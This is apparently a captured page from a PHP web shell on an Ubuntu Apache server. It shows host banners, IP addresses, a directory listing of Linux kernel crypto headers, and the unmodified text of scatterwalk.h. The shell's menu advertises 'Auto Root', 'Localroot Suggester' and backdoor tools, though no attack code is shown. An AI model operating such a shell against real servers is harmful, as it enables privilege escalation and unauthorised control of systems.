Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
linux-headers-5.15.0-186 /
include /
crypto /
Delete
Unzip
Name
Size
Permission
Date
Action
internal
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
acompress.h
8.86
KB
-rw-r--r--
2021-11-01 05:53
aead.h
18.39
KB
-rw-r--r--
2021-11-01 05:53
aes.h
2.5
KB
-rw-r--r--
2021-11-01 05:53
akcipher.h
12.92
KB
-rw-r--r--
2021-11-01 05:53
algapi.h
7.37
KB
-rw-r--r--
2026-06-21 00:49
arc4.h
484
B
-rw-r--r--
2021-11-01 05:53
asym_tpm_subtype.h
521
B
-rw-r--r--
2021-11-01 05:53
authenc.h
635
B
-rw-r--r--
2021-11-01 05:53
b128ops.h
2.41
KB
-rw-r--r--
2021-11-01 05:53
blake2b.h
1.6
KB
-rw-r--r--
2021-11-01 05:53
blake2s.h
2.62
KB
-rw-r--r--
2026-06-21 00:49
blowfish.h
415
B
-rw-r--r--
2021-11-01 05:53
cast5.h
590
B
-rw-r--r--
2021-11-01 05:53
cast6.h
607
B
-rw-r--r--
2021-11-01 05:53
cast_common.h
232
B
-rw-r--r--
2021-11-01 05:53
chacha.h
3.32
KB
-rw-r--r--
2026-06-21 00:49
chacha20poly1305.h
1.66
KB
-rw-r--r--
2021-11-01 05:53
cryptd.h
2
KB
-rw-r--r--
2021-11-01 05:53
ctr.h
1.42
KB
-rw-r--r--
2021-11-01 05:53
curve25519.h
2.02
KB
-rw-r--r--
2021-11-01 05:53
des.h
1.68
KB
-rw-r--r--
2021-11-01 05:53
dh.h
2.51
KB
-rw-r--r--
2021-11-01 05:53
drbg.h
8.99
KB
-rw-r--r--
2026-06-21 00:49
ecc_curve.h
1.31
KB
-rw-r--r--
2021-11-01 05:53
ecdh.h
2.43
KB
-rw-r--r--
2021-11-01 05:53
engine.h
4.11
KB
-rw-r--r--
2021-11-01 05:53
gcm.h
867
B
-rw-r--r--
2021-11-01 05:53
gf128mul.h
9.42
KB
-rw-r--r--
2021-11-01 05:53
ghash.h
388
B
-rw-r--r--
2021-11-01 05:53
hash.h
34.04
KB
-rw-r--r--
2021-11-01 05:53
hash_info.h
998
B
-rw-r--r--
2021-11-01 05:53
hmac.h
173
B
-rw-r--r--
2021-11-01 05:53
if_alg.h
6.68
KB
-rw-r--r--
2026-06-21 00:49
kpp.h
9.91
KB
-rw-r--r--
2021-11-01 05:53
md5.h
497
B
-rw-r--r--
2021-11-01 05:53
nhpoly1305.h
2.18
KB
-rw-r--r--
2021-11-01 05:53
null.h
346
B
-rw-r--r--
2021-11-01 05:53
padlock.h
438
B
-rw-r--r--
2021-11-01 05:53
pcrypt.h
815
B
-rw-r--r--
2021-11-01 05:53
pkcs7.h
1.15
KB
-rw-r--r--
2021-11-01 05:53
poly1305.h
2.44
KB
-rw-r--r--
2021-11-01 05:53
public_key.h
2.38
KB
-rw-r--r--
2021-11-01 05:53
rng.h
6.59
KB
-rw-r--r--
2021-11-01 05:53
scatterwalk.h
3.9
KB
-rw-r--r--
2026-06-21 00:49
serpent.h
696
B
-rw-r--r--
2021-11-01 05:53
sha1.h
1.18
KB
-rw-r--r--
2021-11-01 05:53
sha1_base.h
2.45
KB
-rw-r--r--
2021-11-01 05:53
sha2.h
3.76
KB
-rw-r--r--
2021-11-01 05:53
sha256_base.h
2.56
KB
-rw-r--r--
2021-11-01 05:53
sha3.h
879
B
-rw-r--r--
2021-11-01 05:53
sha512_base.h
3.18
KB
-rw-r--r--
2021-11-01 05:53
skcipher.h
19.95
KB
-rw-r--r--
2021-11-01 05:53
sm2.h
749
B
-rw-r--r--
2021-11-01 05:53
sm3.h
897
B
-rw-r--r--
2021-11-01 05:53
sm3_base.h
2.55
KB
-rw-r--r--
2021-11-01 05:53
sm4.h
1.12
KB
-rw-r--r--
2021-11-01 05:53
streebog.h
949
B
-rw-r--r--
2021-11-01 05:53
twofish.h
743
B
-rw-r--r--
2021-11-01 05:53
xts.h
1.1
KB
-rw-r--r--
2021-11-01 05:53
Save
Rename
/* SPDX-License-Identifier: GPL-2.0-or-later */ /* * Cryptographic scatter and gather helpers. * * Copyright (c) 2002 James Morris <jmorris@intercode.com.au> * Copyright (c) 2002 Adam J. Richter <adam@yggdrasil.com> * Copyright (c) 2004 Jean-Luc Cooke <jlcooke@certainkey.com> * Copyright (c) 2007 Herbert Xu <herbert@gondor.apana.org.au> */ #ifndef _CRYPTO_SCATTERWALK_H #define _CRYPTO_SCATTERWALK_H #include <crypto/algapi.h> #include <linux/highmem.h> #include <linux/kernel.h> #include <linux/scatterlist.h> static inline void scatterwalk_crypto_chain(struct scatterlist *head, struct scatterlist *sg, int num) { if (sg) sg_chain(head, num, sg); else sg_mark_end(head); } static inline unsigned int scatterwalk_pagelen(struct scatter_walk *walk) { unsigned int len = walk->sg->offset + walk->sg->length - walk->offset; unsigned int len_this_page = offset_in_page(~walk->offset) + 1; return len_this_page > len ? len : len_this_page; } static inline unsigned int scatterwalk_clamp(struct scatter_walk *walk, unsigned int nbytes) { unsigned int len_this_page = scatterwalk_pagelen(walk); return nbytes > len_this_page ? len_this_page : nbytes; } static inline void scatterwalk_advance(struct scatter_walk *walk, unsigned int nbytes) { walk->offset += nbytes; } static inline unsigned int scatterwalk_aligned(struct scatter_walk *walk, unsigned int alignmask) { return !(walk->offset & alignmask); } static inline struct page *scatterwalk_page(struct scatter_walk *walk) { return sg_page(walk->sg) + (walk->offset >> PAGE_SHIFT); } static inline void scatterwalk_unmap(void *vaddr) { kunmap_atomic(vaddr); } static inline void scatterwalk_start(struct scatter_walk *walk, struct scatterlist *sg) { walk->sg = sg; walk->offset = sg->offset; } static inline void *scatterwalk_map(struct scatter_walk *walk) { return kmap_atomic(scatterwalk_page(walk)) + offset_in_page(walk->offset); } static inline void scatterwalk_pagedone(struct scatter_walk *walk, int out, unsigned int more) { if (out) { struct page *page; page = sg_page(walk->sg) + ((walk->offset - 1) >> PAGE_SHIFT); flush_dcache_page(page); } if (more && walk->offset >= walk->sg->offset + walk->sg->length) scatterwalk_start(walk, sg_next(walk->sg)); } /* * Flush the dcache of any pages that overlap the region * [offset, offset + nbytes) relative to base_page. * * This should be called only when ARCH_IMPLEMENTS_FLUSH_DCACHE_PAGE, to ensure * that all relevant code (including the call to sg_page() in the caller, if * applicable) gets fully optimized out when !ARCH_IMPLEMENTS_FLUSH_DCACHE_PAGE. */ static inline void __scatterwalk_flush_dcache_pages(struct page *base_page, unsigned int offset, unsigned int nbytes) { unsigned int num_pages; unsigned int i; base_page += offset / PAGE_SIZE; offset %= PAGE_SIZE; /* * This is an overflow-safe version of * num_pages = DIV_ROUND_UP(offset + nbytes, PAGE_SIZE). */ num_pages = nbytes / PAGE_SIZE; num_pages += DIV_ROUND_UP(offset + (nbytes % PAGE_SIZE), PAGE_SIZE); for (i = 0; i < num_pages; i++) flush_dcache_page(base_page + i); } static inline void scatterwalk_done(struct scatter_walk *walk, int out, int more) { if (!more || walk->offset >= walk->sg->offset + walk->sg->length || !(walk->offset & (PAGE_SIZE - 1))) scatterwalk_pagedone(walk, out, more); } void scatterwalk_copychunks(void *buf, struct scatter_walk *walk, size_t nbytes, int out); void *scatterwalk_map(struct scatter_walk *walk); void memcpy_sglist(struct scatterlist *dst, struct scatterlist *src, unsigned int nbytes); void scatterwalk_map_and_copy(void *buf, struct scatterlist *sg, unsigned int start, unsigned int nbytes, int out); struct scatterlist *scatterwalk_ffwd(struct scatterlist dst[2], struct scatterlist *src, unsigned int len); #endif /* _CRYPTO_SCATTERWALK_H */